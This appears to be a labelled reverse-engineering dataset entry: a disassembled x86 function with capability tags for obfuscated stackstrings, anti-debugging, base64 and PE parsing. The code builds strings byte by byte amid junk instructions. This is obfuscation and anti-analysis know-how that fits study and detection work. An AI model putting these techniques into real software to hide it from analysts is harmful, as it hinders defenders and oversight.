Function at 0x104a3595
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Execute anti-debugging instructions
Parse pe header

Disassembly:
mov byte [ebp - 0x254], cl
mov byte [ebp - 0x253], 0x62
seta dl
mov byte [ebp - 0x251], 0x5f
mov byte [ebp - 0x250], 0x66
mov byte [ebp - 0x24f], cl
adc esi, 0x2e335326
mov byte [ebp - 0x24e], 0x72
bswap esi
mov byte [ebp - 0x24d], 0x6d
jmp 0x1042ec4f
push edi
push eax
lea eax, [ebp - 0xc]
jmp 0x10438307
mov byte [ebp - 0xaa], 0x67
mov byte [ebp - 0xa9], 0x69
sub esi, 0x52b67893
mov byte [ebp - 0xa8], 0x6e
mov byte [ebp - 0xa7], 0x32
add si, di
mov byte [ebp - 0xa6], 0x37
and si, sp
bsr esi, esp
mov byte [ebp - 0xa5], 0x30
bswap si
mov byte [ebp - 0xa4], 0x2e
mov byte [ebp - 0xa3], 0x44
or esi, 0x2ac16546
mov byte [ebp - 0xa2], 0x4c
shrd esi, edx, 0x57
stc
mov byte [ebp - 0xa1], 0x4c
adc si, 0x640f
mov byte [ebp - 0xa0], bl
btc si, si
ror esi, 6
mov byte [ebp - 0x9c], 0x48
shrd esi, edi, 0x2b
rol si, 0xca
mov byte [ebp - 0x9b], al
movzx esi, dx
neg esi
mov byte [ebp - 0x9a], 0x6c
bt esi, 0xce
bsr si, si
shr si, 0xb7
mov byte [ebp - 0x99], 0x70
inc si
clc
adc si, 0x1305
mov byte [ebp - 0x98], al
jmp loc.10046805
push ebp
jmp 0x104ad835
mov byte [ebp - 0x1c8], cl
ror esi, 0xe0
mov byte [ebp - 0x1c7], 0x62
shr dl, 0x44
mov byte [ebp - 0x1c5], 0x5f
btr esi, ebx
mov byte [ebp - 0x1c4], 0x61
bts esi, ecx
stc
mov byte [ebp - 0x1c3], 0x70
shl dl, 0xf8
bswap si
mov byte [ebp - 0x1c2], 0x70
mov byte [ebp - 0x1c1], bl
cmp sp, si
xadd si, si
mov byte [ebp - 0x178], 0x57
bt si, bx
rcl si, 0xd7
mov byte [ebp - 0x177], 0x69
and dl, 0x81
mov byte [ebp - 0x176], 0x6e
mov byte [ebp - 0x175], 0x64
neg dl
mov byte [ebp - 0x174], cl
neg si
dec si
mov byte [ebp - 0x173], 0x77
mov byte [ebp - 0x172], bl
rol dl, cl
bts si, ax
mov byte [ebp - 0x168], 0x43
rcl si, 0x3f
mov byte [ebp - 0x167], 0x68
stc
mov byte [ebp - 0x166], al
xchg dl, dl
mov byte [ebp - 0x165], 0x61
mov byte [ebp - 0x164], 0x74
mov byte [ebp - 0x163], 0x20
stc
xchg esi, esi
mov byte [ebp - 0x162], 0x45
btr esi, 0xa4
or si, 0x7a4c
cmc
mov byte [ebp - 0x161], 0x6e
sbb esi, 0x6180789f
adc dl, 0xac
mov byte [ebp - 0x160], 0x67
mov esi, 0x76770db8
mov byte [ebp - 0x15f], 0x69
btc esi, 0xdc
mov byte [ebp - 0x15e], 0x6e
adc dl, 0xb3
jmp 0x103b8609
mov byte [ebp - 0x229], 0x72
mov byte [ebp - 0x228], bl
mov byte [ebp - 0x218], 0x50
mov byte [ebp - 0x217], 0x43
movsx esi, ax
mov byte [ebp - 0x216], 0x48
mov byte [ebp - 0x215], 0x75
mov byte [ebp - 0x214], 0x6e
sbb si, sp
mov byte [ebp - 0x213], 0x74
add esi, esp
sbb si, bx
rcr si, 0xc4
mov byte [ebp - 0x212], al
adc esi, ecx
mov byte [ebp - 0x211], 0x72
btc esi, ecx
mov byte [ebp - 0x210], bl
sar esi, 0xd8
and si, 0x331c
shr esi, 0xc5
mov byte [ebp - 0x158], 0x54
bsf esi, ebx
adc si, si
mov byte [ebp - 0x157], al
xadd si, si
mov byte [ebp - 0x156], dl
btr si, bp
mov byte [ebp - 0x155], 0x6c
bsr esi, edi
xadd si, si
mov byte [ebp - 0x154], 0x61
and si, 0x2de8
mov byte [ebp - 0x153], bl
test ax, di
rcl esi, 0x86
mov byte [ebp - 0x114], 0x54
mov byte [ebp - 0x113], 0x68
xor si, 0x7e4b
bt esi, 0xdb
mov byte [ebp - 0x112], 0x75
xor si, 0x47ac
mov byte [ebp - 0x111], 0x6e
bt esi, esp
mov si, si
mov byte [ebp - 0x110], 0x64
neg si
sub si, dx
mov byte [ebp - 0x10f], al
mov byte [ebp - 0x10e], 0x72
rol si, 0x9f
mov byte [ebp - 0x10d], 0x52
dec esi
adc si, 0x798e
btc esi, 0x87
mov byte [ebp - 0x10c], 0x54
bt si, 0x9c
mov byte [ebp - 0x10b], 0x36
mov byte [ebp - 0x10a], 0x4d
mov byte [ebp - 0x109], 0x61
neg esi
cmovp si, sp
mov byte [ebp - 0x108], 0x69
sal si, 0x4b
mov byte [ebp - 0x107], 0x6e
xadd esi, esi
rol si, 0xf
mov byte [ebp - 0x106], bl
and esi, 0x12001600
mov byte [ebp - 0x1f4], 0x54
sub esi, 0x5d5a4f3d
add si, cx
mov byte [ebp - 0x1f3], 0x68
test ecx, esp
sbb si, 0x144c
not esi
mov byte [ebp - 0x1f2], 0x75
mov byte [ebp - 0x1f1], 0x6e
movzx esi, sp
mov byte [ebp - 0x1f0], 0x64
mov byte [ebp - 0x1ef], al
add esi, esi
mov byte [ebp - 0x1ee], 0x72
xchg esi, esi
xadd si, si
or esi, ebx
mov byte [ebp - 0x1ed], 0x52
rcr si, 0xaf
mov byte [ebp - 0x1ec], 0x54
or si, 0x5bc3
xor si, ax
mov byte [ebp - 0x1eb], 0x36
cmovle esi, esp
mov byte [ebp - 0x1ea], 0x46
xor esi, esi
sub esi, 0x687b42ca
cmovns esi, ecx
mov byte [ebp - 0x1e9], cl
adc si, 0x20ec
test si, 0x5703
mov byte [ebp - 0x1e8], 0x72
not si
mov byte [ebp - 0x1e7], 0x6d
mov byte [ebp - 0x1e6], 0x44
movsx esi, si
bt esi, eax
mov byte [ebp - 0x1e5], 0x43
bts si, di
mov byte [ebp - 0x1e4], bl
add esi, ecx
cmp si, 0x7b0b
mov byte [ebp - 0x1c0], 0x56
mov byte [ebp - 0x1bf], 0x42
mov byte [ebp - 0x1be], 0x4d
ror esi, 0x98
mov byte [ebp - 0x1bd], dl
xchg si, si
rcr si, 0x93
mov byte [ebp - 0x1bc], cl
or si, 0x6338
and si, 0x2b5a
mov byte [ebp - 0x1bb], 0x53
rcr si, 0x2d
mov byte [ebp - 0x1ba], 0x74
sbb esi, ebx
mov esi, ebx
bsr esi, ecx
mov byte [ebp - 0x1b9], 0x64
mov byte [ebp - 0x1b8], 0x43
shld esi, ebx, 0xc8
mov byte [ebp - 0x1b7], cl
sal si, 0xfd
sub si, si
mov byte [ebp - 0x1b6], 0x6d
bts esi, ebx
mov byte [ebp - 0x1b5], 0x70
btr esi, esp
mov byte [ebp - 0x1b4], 0x4d
mov byte [ebp - 0x1b3], 0x67
mov byte [ebp - 0x1b2], 0x72
bts si, cx
mov byte [ebp - 0x1b1], bl
inc esi
mov byte [ebp - 0xac], 0x4c
add esi, 0x3ef14763
sub esi, 0x1e9d0d3d
adc esi, 0x45f25029
mov byte [ebp - 0xab], cl
jmp 0x1021c0af
mov byte [ebp - 0x15d], al
mov byte [ebp - 0x15c], bl
rcl esi, 0x9d
mov byte [ebp - 0x3a8], 0x54
not esi
bts si, bx
mov byte [ebp - 0x3a7], 0x56
test sp, 0x564b
sub dl, 0x24
mov byte [ebp - 0x3a6], 0x61
jmp 0x10416e89
mov byte [ebp - 0x3a5], 0x6c
or esi, esi
mov byte [ebp - 0x3a4], 0x75
add dl, cl
mov byte [ebp - 0x3a3], al
mov byte [ebp - 0x3a2], 0x43
cmc
mov byte [ebp - 0x3a1], 0x68
movsx esi, dx
mov byte [ebp - 0x3a0], 0x61
mov byte [ebp - 0x39f], 0x6e
sar esi, 0x2d
mov esi, 0x44175528
shr dl, cl
mov byte [ebp - 0x39e], 0x67
mov byte [ebp - 0x39d], al
sbb si, bx
clc
xadd si, si
mov byte [ebp - 0x39c], 0x46
rcr dl, cl
test bx, bx
mov byte [ebp - 0x39b], cl
mov byte [ebp - 0x39a], 0x72
shr dl, cl
mov byte [ebp - 0x399], 0x6d
add dl, 0xb6
adc esi, 0x2b69597e
mov byte [ebp - 0x398], bl
sbb esi, esi
shl dl, cl
mov byte [ebp - 0x248], 0x72
stc
mov byte [ebp - 0x247], 0x61
sbb dl, 8
mov byte [ebp - 0x246], 0x70
mov byte [ebp - 0x245], 0x68
bt si, ax
xchg dl, dl
mov byte [ebp - 0x244], 0x20
mov byte [ebp - 0x243], 0x2d
bts si, dx
sub si, di
mov byte [ebp - 0x242], 0x20
shl dl, 0xfb
xor si, bp
mov byte [ebp - 0x241], 0x5b
adc esi, eax
bts esi, esp
rcr dl, cl
mov byte [ebp - 0x240], bl
mov byte [ebp - 0x188], 0x2e
sbb dl, 0x18
and si, bx
mov byte [ebp - 0x187], 0x53
sub esi, 0x4289366d
shr dl, 0x2a
mov byte [ebp - 0x186], 0x50
clc
mov byte [ebp - 0x185], 0x4b
mov byte [ebp - 0x184], 0x58
and esi, 0x2e383963
mov byte [ebp - 0x183], 0x5d
inc dl
sub dl, 0x4e
mov byte [ebp - 0x182], bl
btc esi, ebx
mov byte [ebp - 0x224], 0x5b
shl dl, cl
ror dl, 0xe2
or dl, 0xaa
mov byte [ebp - 0x223], cl
mov dl, 0x73
rol si, 0x54
mov byte [ebp - 0x222], 0x6e
not si
sbb esi, 0x572110f5
mov byte [ebp - 0x221], 0x68
cmp cl, ch
mov byte [ebp - 0x220], cl
mov byte [ebp - 0x21f], cl
bswap si
mov byte [ebp - 0x21e], 0x6b
bts si, ax
xadd esi, esi
mov si, bx
mov byte [ebp - 0x21d], 0x2e
mov byte [ebp - 0x21c], bl
mov byte [ebp - 0x148], 0x2e
test edx, ebp
mov byte [ebp - 0x147], dl
or si, si
adc si, 0x574f
sal si, 0xf6
mov byte [ebp - 0x146], al
cmp bp, 0x5629
cmc
mov byte [ebp - 0x145], 0x72
mov byte [ebp - 0x144], 0x5d
mov byte [ebp - 0x143], bl
adc esi, eax
mov byte [ebp - 0x88], 0x23
not esi
rcr si, 0x38
mov byte [ebp - 0x87], 0x33
dec si
mov byte [ebp - 0x86], 0x32
rcr si, 0xa9
mov byte [ebp - 0x85], 0x37
dec esi
cmovl si, bp
mov byte [ebp - 0x84], 0x37
bsr esi, edi
bswap esi
mov byte [ebp - 0x83], 0x30
rol esi, 0x5e
not si
mov byte [ebp - 0x82], bl
mov byte [ebp - 0xc4], 0x43
mov byte [ebp - 0xc3], cl
mov byte [ebp - 0xc2], 0x6d
mov byte [ebp - 0xc1], 0x62
shl esi, 0x1a
bts esi, esi
mov byte [ebp - 0xc0], cl
and esi, ecx
clc
mov byte [ebp - 0xbf], 0x4c
sal si, 0x76
mov esi, 0x5aa51483
sub esi, 0x49062d43
mov byte [ebp - 0xbe], 0x42
neg esi
mov si, si
btc esi, ebp
mov byte [ebp - 0xbd], cl
xor si, cx
add esi, eax
mov byte [ebp - 0xbc], 0x78
xchg esi, esi
shrd si, cx, 0xb6
mov byte [ebp - 0xbb], bl
sub esi, 0xdf21f43
clc
ror esi, 0x46
mov byte [ebp - 0x230], 0x70
bts si, cx
mov byte [ebp - 0x22f], 0x63
rol esi, 9
bt esi, esi
mov byte [ebp - 0x22e], 0x68
mov byte [ebp - 0x22d], 0x75
adc si, bp
mov byte [ebp - 0x22c], 0x6e
mov esi, esi
movzx esi, ax
mov byte [ebp - 0x22b], 0x74
mov byte [ebp - 0x22a], al
stc
jmp 0x1030ddbc
mov byte [ebp - 0x24c], bl
jmp 0x102ec169
mov dword fs:[0], eax
ror cl, 0xbb
sub ebx, ebx
shl cl, 0xdb
mov cl, 0x6f
mov al, 0x6a
mov byte [ebp - 0xe5], al
mov byte [ebp - 0x252], al
sal dl, cl
mov byte [ebp - 0x1c6], al
xor dl, bl
mov al, 0x65
test esi, edx
neg si
mov byte [ebp - 0xe8], 0x5f
sar dl, cl
mov byte [ebp - 0xe7], cl
bts esi, esi
shrd si, sp, 0x36
mov byte [ebp - 0xe6], 0x62
adc dl, 0x71
setge dl
mov byte [ebp - 0xe4], bl
jmp 0x101c0fe5
push eax
mov eax, 0x140c
call fcn.10079fe0
mov eax, dword [0x10149de0]
xor eax, ebp
add dl, bl
mov dword [ebp - 0x10], eax
cmc
cmp al, 0xaa
push ebx
push esi
jmp 0x101c1d21
mov ebp, esp
push 0xffffffffffffffff
movsx eax, si
push 0x100e8c60
setg ah
mov ax, 0x29d0
mov eax, dword fs:[0]
jmp 0x104a3595